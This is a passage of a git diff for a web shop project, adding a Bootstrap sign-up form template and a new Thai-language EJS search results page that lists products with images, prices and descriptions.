+        <path d="M13.854 3.646a.5.5 0 0 1 0 .708l-7 7a.5.5 0 0 1-.708 0l-3.5-3.5a.5.5 0 1 1 .708-.708L6.5 10.293l6.646-6.647a.5.5 0 0 1 .708 0z"/>
+      </symbol>
+      <symbol id="circle-half" viewBox="0 0 16 16">
+        <path d="M8 15A7 7 0 1 0 8 1v14zm0 1A8 8 0 1 1 8 0a8 8 0 0 1 0 16z"/>
+      </symbol>
+      <symbol id="moon-stars-fill" viewBox="0 0 16 16">
+        <path d="M6 .278a.768.768 0 0 1 .08.858 7.208 7.208 0 0 0-.878 3.46c0 4.021 3.278 7.277 7.318 7.277.527 0 1.04-.055 1.533-.16a.787.787 0 0 1 .81.316.733.733 0 0 1-.031.893A8.349 8.349 0 0 1 8.344 16C3.734 16 0 12.286 0 7.71 0 4.266 2.114 1.312 5.124.06A.752.752 0 0 1 6 .278z"/>
+        <path d="M10.794 3.148a.217.217 0 0 1 .412 0l.387 1.162c.173.518.579.924 1.097 1.097l1.162.387a.217.217 0 0 1 0 .412l-1.162.387a1.734 1.734 0 0 0-1.097 1.097l-.387 1.162a.217.217 0 0 1-.412 0l-.387-1.162A1.734 1.734 0 0 0 9.31 6.593l-1.162-.387a.217.217 0 0 1 0-.412l1.162-.387a1.734 1.734 0 0 0 1.097-1.097l.387-1.162zM13.863.099a.145.145 0 0 1 .274 0l.258.774c.115.346.386.617.732.732l.774.258a.145.145 0 0 1 0 .274l-.774.258a1.156 1.156 0 0 0-.732.732l-.258.774a.145.145 0 0 1-.274 0l-.258-.774a1.156 1.156 0 0 0-.732-.732l-.774-.258a.145.145 0 0 1 0-.274l.774-.258c.346-.115.617-.386.732-.732L13.863.1z"/>
+      </symbol>
+      <symbol id="sun-fill" viewBox="0 0 16 16">
+        <path d="M8 12a4 4 0 1 0 0-8 4 4 0 0 0 0 8zM8 0a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 0zm0 13a.5.5 0 0 1 .5.5v2a.5.5 0 0 1-1 0v-2A.5.5 0 0 1 8 13zm8-5a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2a.5.5 0 0 1 .5.5zM3 8a.5.5 0 0 1-.5.5h-2a.5.5 0 0 1 0-1h2A.5.5 0 0 1 3 8zm10.657-5.657a.5.5 0 0 1 0 .707l-1.414 1.415a.5.5 0 1 1-.707-.708l1.414-1.414a.5.5 0 0 1 .707 0zm-9.193 9.193a.5.5 0 0 1 0 .707L3.05 13.657a.5.5 0 0 1-.707-.707l1.414-1.414a.5.5 0 0 1 .707 0zm9.193 2.121a.5.5 0 0 1-.707 0l-1.414-1.414a.5.5 0 0 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .707zM4.464 4.465a.5.5 0 0 1-.707 0L2.343 3.05a.5.5 0 1 1 .707-.707l1.414 1.414a.5.5 0 0 1 0 .708z"/>
+      </symbol>
+    </svg>
+    
+<main class="form-signin w-100 m-auto">
+  <form action="/user/register" method="POST">
+    <h1 class="h3 mb-3 fw-normal">Sign up</h1>
+
+    <div class="form-floating">
+        <label for="floatingInput">Email address</label>
+      <input type="email" class="form-control" id="floatingInput" name="email" placeholder="name@example.com">
+    </div>
+    <div class="form-floating">
+        <label for="floatingPassword">Password</label>
+      <input type="password" class="form-control" id="floatingPassword" name="rpassword" placeholder="Password">
+    </div>
+
+    <div class="form-check text-start my-3">
+      <input class="form-check-input" type="checkbox" value="remember-me" id="flexCheckDefault">
+      <label class="form-check-label" for="flexCheckDefault">
+        Remember me
+      </label>
+    </div>
+    <button class="btn btn-primary w-100 py-2" type="submit">Sign up</button>
   </form>
-  <a href="/">Back to Home</a>
-</body>
-</html>
+</main>
+<script src="/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
+
+    </body>
+</html>
\ No newline at end of file
diff --git a/views/searchResults.ejs b/views/searchResults.ejs
new file mode 100644
index 0000000..2812c5c
--- /dev/null
+++ b/views/searchResults.ejs
@@ -0,0 +1,106 @@
+<!DOCTYPE html>
+<html lang="th">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1">
+    <title>ผลลัพธ์การค้นหา "<%= searchQuery %>"</title>
+    <!-- Bootstrap CSS -->
+    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
+    <link rel="stylesheet" href="/css/searchResults.css">
+    <style>
+body {
+    background-color: #f5f5f5;
+    color: #333;
+    font-family: Arial, sans-serif;
+}
+
+.container {
+    max-width: 1200px;
+    margin: 30px auto;
+    padding: 20px;
+}
+
+.product-card {
+    border: 1px solid #e0e0e0;
+    border-radius: 12px;
+    padding: 20px;
+    box-shadow: 0 6px 16px rgba(0, 0, 0, 0.08);
+    margin-bottom: 20px;
+    background: #ffffff;
+    transition: transform 0.2s ease, box-shadow 0.2s ease;
+}
+
+.product-card:hover {
+    transform: translateY(-5px);
+    box-shadow: 0 12px 24px rgba(0, 0, 0, 0.12);
+}
+
+.product-card img {
+    max-width: 120px;
+    height: 120px;
+    object-fit: cover;
+    border-radius: 8px;
+    transition: transform 0.2s ease;
+}
+
+.product-card img:hover {
+    transform: scale(1.05);
+}
+
+.btn-orange {
+    background-color: #ff6600;
+    color: #ffffff;
+    border: none;
+    padding: 8px 16px;
+    border-radius: 6px;
+    cursor: pointer;
+    font-size: 14px;
+    font-weight: 600;
+    transition: background-color 0.2s ease, transform 0.1s ease;
+    display: inline-block;
+}
+
+.btn-orange:hover {
+    background-color: #cc5200;
+    transform: translateY(-2px);
+}
+
+.btn-orange:active {
+    background-color: #b34700;
+    transform: translateY(0);
+}
+
+    </style>
+</head>
+<body>
+
+<div class="container">
+    <h2 class="text-center mb-4">ผลลัพธ์การค้นหา "<%= searchQuery %>"</h2>
+
+    <% if (products.length > 0) { %>
+        <div class="row">
+            <% products.forEach(product => { %>
+                <div class="col-md-4">
+                    <div class="product-card text-center">
+                        <img src="<%= product.image %>" alt="<%= product.product_name %>">
+                        <h4 class="mt-2"><%= product.product_name %></h4>
+                        <p class="text-warning"><strong>ราคา:</strong> <%= product.price %> บาท</p>
+                        <p><%= product.description %></p>
+                        <a href="/product/<%= product.product_id %>" class="btn btn-orange">ดูรายละเอียด</a>
+                    </div>
+                </div>
+            <% }) %>
+        </div>
+    <% } else { %>
+        <p class="text-center text-danger">ไม่พบสินค้าที่ตรงกับคำค้นหา</p>
+    <% } %>
+
+    <div class="text-center mt-3">
+        <a href="/" class="btn btn-secondary">กลับหน้าหลัก</a>
+    </div>
+</div>
+
+<!-- Bootstrap JS -->
+<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
+</body>
+</html>
-- 
GitLab